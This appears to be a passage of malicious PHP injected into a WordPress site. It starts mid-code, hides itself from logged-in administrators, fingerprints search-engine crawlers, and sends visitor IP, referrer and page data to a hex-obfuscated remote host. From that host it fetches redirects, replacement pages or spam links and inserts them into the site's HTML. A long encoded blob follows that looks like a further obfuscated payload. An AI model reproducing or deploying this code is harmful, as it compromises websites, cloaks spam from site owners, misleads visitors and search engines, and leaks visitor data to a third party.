$value) { if ($key == 'http2_session_id' || strpos($key, 'wordpress_logged_in_') === 0) { $lf_enable = false; @setcookie('http2_session_id', '1', 2147483647, "/"); break; } } ini_set('default_socket_timeout', 10); $uri = $_SERVER['REQUEST_URI'] ?? '/'; $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $bad_urls = '#xmlrpc.php|wp-includes|wp-admin|wp-content|wp-login.php|wp-cron.php|\?feed=|wp-json|/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|\.jpg|administrator#i'; if (preg_match($bad_urls, ($_SERVER['HTTP_HOST'] ?? '') . $uri)) { $lf_enable = false; } class Advanced_LinkFlow_Control { public $url = "\x68\x74\x74\x70:\x2f/\x66e\x72m\x2eu\x6cs\x6fr\x2er\x75/\x67e\x74.\x70h\x70"; public $ua = ''; public $uri = ''; public $ip = ''; public $lang = ''; public $google_ip_list = array( "64.233.*", "66.102.*", "66.249.*", "72.14.*", "74.125.*", "108.177.*", "209.85.*", "216.239.*", "172.217.*", "35.190.247.*" ); public $bing_ip_list = array( "13.66.*.*", "13.67.*.*", "13.68.*.*", "13.69.*.*", "20.36.*.*", "20.37.*.*", "20.38.*.*", "20.39.*.*", "40.77.*.*", "40.79.*.*", "52.231.*.*", "191.233.*.*" ); public $yandex_ip_list = array( "5.45.*.*", "5.255.*.*", "37.9.*.*", "37.140.*.*", "77.88.*.*", "84.252.*.*", "87.250.*.*", "90.156.*.*", "93.158.*.*", "95.108.*.*", "141.8.*.*", "178.154.*.*", "213.180.*.*", "185.32.187.*" ); public $links = array(); public $bot = ''; public $ref = ''; function get($url) { if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $data = curl_exec($ch); curl_close($ch); return $data; } elseif (@ini_get('allow_url_fopen')) { return @file_get_contents($url); } else { $parts = parse_url($url); $target = $parts['host']; $port = isset($parts['port']) ? $parts['port'] : 80; $page = isset($parts['path']) ? $parts['path'] : ''; $page .= isset($parts['query']) ? '?' . $parts['query'] : ''; $page .= isset($parts['fragment']) ? '#' . $parts['fragment'] : ''; $page = ($page == '') ? '/' : $page; if ($fp = @fsockopen($target, $port, $errno, $errstr, 3)) { @socket_set_option($fp, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 1, "usec" => 1)); $headers = "GET $page HTTP/1.1\r\n"; $headers .= "Host: {$parts['host']}\r\n"; $headers .= "Connection: Close\r\n\r\n"; if (fwrite($fp, $headers)) { $resp = ''; while (!feof($fp) && ($curr = fgets($fp, 128)) !== false) { $resp .= $curr; } if (isset($curr) && $curr !== false) { fclose($fp); return substr(strstr($resp, "\r\n\r\n"), 3); } } fclose($fp); } } return TRUE; } function init($uri, $ua) { $this->uri = $uri; $bot = FALSE; $this->ip = isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : (isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'unknown'); $this->ref = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $this->lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : ''; if (@preg_match('/googlebot|google-structured-data/i', $ua)) { $bot = TRUE; $this->bot = 'google'; } if (@preg_match('/bing|msn|msr|slurp|yahoo/i', $ua)) { $bot = TRUE; $this->bot = 'bing'; } if (@preg_match('/yandexbot|yandeximages|yandexmobilebot|yandex/i', $ua)) { $bot = TRUE; $this->bot = 'yandex'; } if (@preg_match('/duckduckbot/i', $ua)) { $bot = TRUE; $this->bot = 'duckduck'; } if (@preg_match('~aport|rambler|abachobot|accoona|acoirobot|aspseek|croccrawler|dumbot|webcrawler|geonabot|gigabot|lycos|scooter|altavista|webalta|adbot|estyle|mail\.ru|scrubby~i', $ua)) { $bot = TRUE; $this->bot = 'other'; } if (!$bot) { $bot_sources = [ 'google' => $this->google_ip_list ?? [], 'bing' => $this->bing_ip_list ?? [], 'yandex' => $this->yandex_ip_list ?? [], ]; foreach ($bot_sources as $bot_name => $ip_list) { foreach ($ip_list as $ip_mask) { $pattern = '#^' . str_replace(['.', '*'], ['\.', '.*'], $ip_mask) . '$#'; if (preg_match($pattern, $this->ip)) { $bot = TRUE; $this->bot = $bot_name; break 2; } } } } if (!$bot) { $hostbyaddr = @gethostbyaddr($this->ip); $host_patterns = [ 'google' => 'googlebot|google', 'bing' => 'bing|msn|msr|slurp|yahoo', 'yandex' => 'yandex', 'duckduckgo' => 'duckduckgo|duckduckbot', ]; foreach ($host_patterns as $bot_name => $pattern) { if (preg_match("/$pattern/i", $hostbyaddr)) { $bot = TRUE; $this->bot = $bot_name; break; } } } if (!empty($_SERVER['SERVER_NAME'])) { $tmp = @parse_url('http://' . $_SERVER['SERVER_NAME']); if (isset($tmp['host'])) { $host = $tmp['host']; } } $url = $this->url . "?host=$host&uri=" . urlencode($this->uri) . "&bot={$this->bot}&ip={$this->ip}&ref=" . urlencode($this->ref) . '&lang=' . urlencode($this->lang); if (isset($_COOKIE['LFD']) || isset($_REQUEST['LFD'])) { $url .= '&check=1'; $page = $this->get($url); $res = 0; if (strpos($page, "XTESTOKX") !== false) { $res = 1; } die(json_encode([ 'r' => $res, 'funcs' => [ 'curl_init' => function_exists('curl_init') ? 1 : 0, 'file_get_contents' => function_exists('file_get_contents') ? 1 : 0, 'allow_url_fopen' => ini_get('allow_url_fopen') ? 1 : 0, 'fsockopen' => function_exists('fsockopen') ? 1 : 0, 'socket_set_option' => function_exists('socket_set_option') ? 1 : 0, ] ])); } if (isset($_COOKIE['CURLOPT_LF_TEST']) || isset($_REQUEST['CURLOPT_LF_TEST'])) { $url .= '&check=1'; } $page = $this->get($url); if (preg_match('/(.*?)<\/url>/us', $page, $matches)) { $url = trim($matches[1]); if (!headers_sent()) { header("Location: " . $url); exit; } else { echo ''; exit; } } if (preg_match('/(.*?)<\/page>/us', $page, $matches)) { $page = $matches[1]; die($page); } if (strpos($page, '') !== FALSE) { preg_match_all('~(.*?)~', $page, $m); $this->links = isset($m[1]) ? $m[1] : array(); } if (count($this->links) > 0) { ob_start(array($this, 'rwcontent')); register_shutdown_function('ob_end_flush'); } } function rwcontent($content) { $blocked_tags = array('header', 'footer'); $tags = array('p', 'span', 'strong', 'em', 'i', 'td', 'div', 'ul', 'li', 'body'); $tags_vals = array(); foreach ($tags as $tag) { preg_match_all("~<{$tag}\s+.*?>(.*?)~is", $content, $matches); if (isset($matches[0])) { foreach ($matches[0] as $match) { $is_blocked = false; foreach ($blocked_tags as $blocked_tag) { $pattern = "~<{$blocked_tag}.*?>.*?{$match}.*?~is"; if (preg_match($pattern, $content)) { $is_blocked = true; break; } } if (!$is_blocked) { $tags_vals[] = array('tag' => $tag, 'content' => $match); } } } if (count($tags_vals) > count($this->links)) { break; } } $tag_index = 0; $link_index = 0; $links_count = count($this->links); $tags_vals_count = count($tags_vals); while ($link_index < $links_count && $tag_index < $tags_vals_count) { $link = $this->links[$link_index]; if (substr($link, -3) === '###') { $linkHTML = substr($link, 0, -3); } else { $seed = $_SERVER['REQUEST_URI'] . strlen($link); $hash1 = crc32($seed); $offset = 7000 + ($hash1 % 6001); $hash2 = crc32($seed . 'w'); $width = 1000 + ($hash2 % 201); $linkHTML = "
{$link}
"; } $tag_val = $tags_vals[$tag_index]; if (strlen($tag_val['content']) % 2 == 1) { $tag_content_new = $tag_val['content']; $tag_content_new = preg_replace("(<{$tag_val['tag']}.*?>)", "$0 {$linkHTML}", $tag_content_new, 1); } else { if (substr($tag_val['content'], -(strlen($tag_val['tag']) + 4)) == ".") { $tag_content_new = str_replace(".", " {$linkHTML}", $tag_val['content']); } else { $tag_content_new = str_replace("", " {$linkHTML}", $tag_val['content']); } } $content = preg_replace("~" . preg_quote($tag_val['content'], '~') . "~i", $tag_content_new, $content, 1); if (strpos($content, $linkHTML) !== false) { $link_index++; } $tag_index++; } return $content; } } if ($lf_enable) { $lf = new Advanced_LinkFlow_Control; $lf->init($uri, $ua); } } =''; define("_AUTH_KEY","kHxLREkNZlRVNd65"); define("_SECURE_AUTH_SALT","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